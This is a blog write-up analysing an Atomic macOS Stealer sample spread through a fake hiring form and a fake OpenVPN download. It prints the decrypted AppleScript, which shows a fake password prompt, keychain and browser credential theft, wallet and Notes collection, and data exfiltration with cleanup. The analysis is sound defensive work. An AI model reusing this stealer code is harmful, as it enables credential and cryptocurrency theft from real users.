---
title: Atomic macOS Stealer (AMOS) Variant - Malware Research
date: 2024-02-22 12:00:00
categories: [research]
tags: [work]
image: /assets/posts/work/atomic/icon.png
---

Recently, I was given the opportunity to conduct an analysis on a real malware at work and was praised for my efforts and dedication. Here is my writeup on the whole incident.

## Malware Distribution

On 12th September, an employee received a Google Form from an unknown sender acting as a fake hiring test. The user was prompted to input their email and name, and answer a set of questions replicating real interview questions. However, the user was then prompted to download a suspicious OpenVPN program on the final page.

![form1](/assets/posts/work/atomic/form1.png)

![form2](/assets/posts/work/atomic/form2.png)

If the user was using macOS, accessing the download link will redirect the user to `https://utv4fun[.]com/kusaka[.]php?call=vpn`, where a .dmg file will be fetched and downloaded automatically into the system. After a few page refreshes, we can actually see several .dmg files being downloaded, each having a different version number at the end.

![dmg1](/assets/posts/work/atomic/dmg1.png)

If the user was using Windows, accessing the download link will instead redirect the user to `https://openvpn-win[.]pages[.]dev/` where a malicious MSI installer will be downloaded automatically into the system. However, the scope of this writeup will only be on the .dmg file for now.

![msi1](/assets/posts/work/atomic/msi1.png)

## Mach-O Binary
Further examining the contents by mounting the .dmg file as a volume on my virtual machine (macOS Sonoma 14), it contained a universal Mach-O binary which supports both x86 and ARM architecture. It's also ad-hoc signed which means that it doesn't contain any cryptographic proof.

![bin1](/assets/posts/work/atomic/bin1.png)

Executing the binary file directly, the user will be prompted to launch the application via right clicking and opening it. This was a common tactic used to override GateKeeper (an integrated security feature in Apple's operating system) and execute unsigned applications. [Ref](https://antman1p-30185.medium.com/jumping-over-the-gate-da555c075208 "https://antman1p-30185.medium.com/jumping-over-the-gate-da555c075208").

![exe1](/assets/posts/work/atomic/exe1.png)

After launching the application, the user was prompted again to input their password. This was most likely to trick the user in providing root privileges for the malware to access certain macOS utilities.

![exe2](/assets/posts/work/atomic/exe2.png)

Decompiling the binary file, a long hex string can be identified which was most likely the payload.

![bin2](/assets/posts/work/atomic/bin2.png)

Coincidentally, a 32-byte hex string can be identified right below the payload, most likely a key for decryption.

![bin3](/assets/posts/work/atomic/bin3.png)

Instead of utilising XOR, the payload seem to be encrypted with RC4 instead. The decrypted payload: [download](/assets/posts/work/atomic/download.zip)

## Payload Analysis
Analyzing the AppleScript, the malware first begins by the variables `release` and `filegrabbers` are set to true, most likely to initialize certain functions during the data exfiltration process. It then ensures the Terminal window stays hidden while the script is running in the background to conceal itself from the user.
```
osascript -e 'set release to true
set filegrabbers to true
if release then
	try
		tell window 1 of application "Terminal" to set visible to false
	end try
end if
```

The malware then retrieves the current username to constructs the path to the user's home directory. It also creates a staging directory to store every stolen data extracted from the system. This staging directory is created using a random four-digit number between 1000 and 9999 and it is assigned to the variable `writemind`.
```
set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"
set writemind to "/tmp/" & randomNumber & "/"
```

The data extraction process begins with the first target being system information. The malware gathers system information including software, hardware, and display configurations using `system_profiler` and stores them into the staging directory.
```
try
	set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
	writeText(result, writemind & "info")
end try
```

The malware constructs the path to the user's Application Support directory, which is used to locate various application data. The malware then calls a function to retrieve the password from the user using DSCL to create a fake authentication prompt.
```
set library to profile & "/Library/Application Support/"
set password_entered to getpwd(username, writemind)
delay 0.01
```

According to the function, if the password entered by the user was valid, the malware will attempt to retrieve the Chrome password from the macOS keychain. If not, the malware enters a loop that continuously prompts the user to enter the valid password.
```
on checkvalid(username, password_entered)
	try
		set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
		if result is not equal to "" then
			return false
		else
			return true
		end if
	on error
		return false
	end try
end checkvalid
on getpwd(username, writemind)
	try
		if checkvalid(username, "") then
			set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
			writeText(result as string, writemind & "masterpass-chrome")
		else
			repeat
				set result to display dialog "Required Application Helper.\nPlease enter password for continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
				set password_entered to text returned of result
				if checkvalid(username, password_entered) then
					writeText(password_entered, writemind & "pwd")
					return password_entered
				end if
			end repeat
		end if
	end try
	return ""
end getpwd
```

Here, the malware defines mappings for both Chromium-based browsers and cryptocurrency wallet applications. The malware then starts to read and copy the contents from different sources to the staging directory by recursively going through the directories in each specified paths. Extracted data includes chromium browser data, Firefox data, cryptocurrency wallet data, Apple Note database, keychain database, Telegram data, and files stored in the system with the extension of .pdf, .docx, .doc, .wallet and .keys.
```
set chromiumMap to {{"Chrome", library & "Google/Chrome/"}, {"Brave", library & "BraveSoftware/Brave-Browser/"}, {"Edge", library & "Microsoft Edge/"}, {"Vivaldi", library & "Vivaldi/"}, {"Opera", library & "com.operasoftware.Opera/"}, {"OperaGX", library & "com.operasoftware.OperaGX/"}, {"Chrome Beta", library & "Google/Chrome Beta/"}, {"Chrome Canary", library & "Google/Chrome Canary"}, {"Chromium", library & "Chromium/"}, {"Chrome Dev", library & "Google/Chrome Dev/"}, {"Arc", library & "Arc/"}, {"Coccoc", library & "Coccoc/"}}
set walletMap to {{"deskwallets/Electrum", profile & "/.electrum/wallets/"}, {"deskwallets/Coinomi", library & "Coinomi/wallets/"}, {"deskwallets/Exodus", library & "Exodus/"}, {"deskwallets/Atomic", library & "atomic/Local Storage/leveldb/"}, {"deskwallets/Wasabi", profile & "/.walletwasabi/client/Wallets/"}, {"deskwallets/Ledger_Live", library & "Ledger Live/"}, {"deskwallets/Monero", profile & "/Monero/wallets/"}, {"deskwallets/Bitcoin_Core", library & "Bitcoin/wallets/"}, {"deskwallets/Litecoin_Core", library & "Litecoin/wallets/"}, {"deskwallets/Dash_Core", library & "DashCore/wallets/"}, {"deskwallets/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}, {"deskwallets/Electron_Cash", profile & "/.electron-cash/wallets/"}, {"deskwallets/Guarda", library & "Guarda/"}, {"deskwallets/Dogecoin_Core", library & "Dogecoin/wallets/"}, {"deskwallets/Trezor_Suite", library & "@trezor/suite-desktop/"}}
readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")
readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")
if release then
	readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "FileGrabber/NoteStore.sqlite")
	readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "FileGrabber/NoteStore.sqlite-wal")
	readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "FileGrabber/NoteStore.sqlite-shm")
	readwrite(profile & "/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/Cookies.binarycookies")
	readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/saf1")
end if
if filegrabbers then
	filegrabber(writemind)
end if
writeText(username, writemind & "username")
set ff_paths to {library & "Firefox/Profiles/", library & "Waterfox/Profiles/", library & "Pale Moon/Profiles/"}
repeat with firefox in ff_paths
	try
		parseFF(firefox, writemind)
	end try
end repeat
chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)
telegram(writemind, library)
```

Finally, the malware compresses the staging directory into a ZIP file to be exfiltrated to its C2 server using curl via a POST HTTP request. It also covers its track by removing the staging directory and ZIP file from the system after exfiltration.
```
do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/out.zip"
send_data(0)
do shell script "rm -r " & writemind
do shell script "rm /tmp/out.zip"
```

I've also managed to sniff out the exfiltration traffic when conducting dynamic analysis. 

![wire1](/assets/posts/work/atomic/wire1.png)

## Summary
Basically, the malware was an Poseidon infostealer variant that affects both Windows and macOS users. The reason why I did this writeup in the first place was because it was the first time (to my knowledge) encountering an AMOS variant that masqueraded using OpenVPN. Additionally, I want to share fun stuff I've encountered during my work instead of just triaging alerts daily.
